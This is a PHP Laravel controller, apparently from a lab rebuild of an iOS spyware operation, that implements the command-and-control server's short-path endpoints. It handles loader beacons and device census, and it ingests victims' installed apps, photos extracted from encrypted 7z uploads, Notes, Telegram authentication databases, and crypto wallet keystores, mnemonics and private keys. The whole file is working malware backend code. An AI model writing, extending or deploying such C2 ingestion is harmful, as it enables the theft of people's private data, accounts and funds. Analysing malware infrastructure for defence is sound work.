Files
coruna-lab/app/Http/Controllers/C2/XxbbC2Controller.php
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2026-08-14 13:43:53 +08:00

316 lines
12 KiB
PHP

<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*/
class XxbbC2Controller extends Controller
{
public function __construct(
private readonly IngestService $ingest,
) {}
public function vhx(): Response
{
return response('ok', 200)->header('Content-Type', 'text/plain');
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
$payload = $request->json()->all();
if ($payload === []) {
$decoded = json_decode((string) $request->getContent(), true);
$payload = is_array($decoded) ? $decoded : [];
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
$domain = PageVisit::normalizeDomain($domain);
$ip = PageVisit::normalizeIp((string) $request->ip());
$uid = PageVisit::visitorUid($domain, $ip);
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
// Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
public function profile(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/get */
public function apps(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/put */
public function event(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
public function photos(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
public function notes(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestNotes($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
*/
public function plugin(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
$this->ingest->ingestAddresses($device, $payload);
}
if (array_key_exists('result', $payload)) {
$result = $payload['result'];
$asKeystore = is_array($result);
if (is_string($result)) {
$decoded = json_decode($result, true);
$asKeystore = is_array($decoded);
}
if ($asKeystore) {
$this->ingest->ingestKeystore($device, $payload);
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
} else {
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
$this->ingest->ingestMnemonic($device, $payload);
}
}
return $this->xxbbAck($request);
}
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
public function telegram(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestTelegramAuth($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
if ($referer === '') {
return null;
}
return substr($referer, 0, 512);
}
private function xxbbAck(Request $request): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
if ($ts === '') {
$ts = (string) ($request->header('x-ts') ?: '');
}
if ($ts === '') {
$ts = (string) (int) round(microtime(true) * 1000);
}
return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
}
}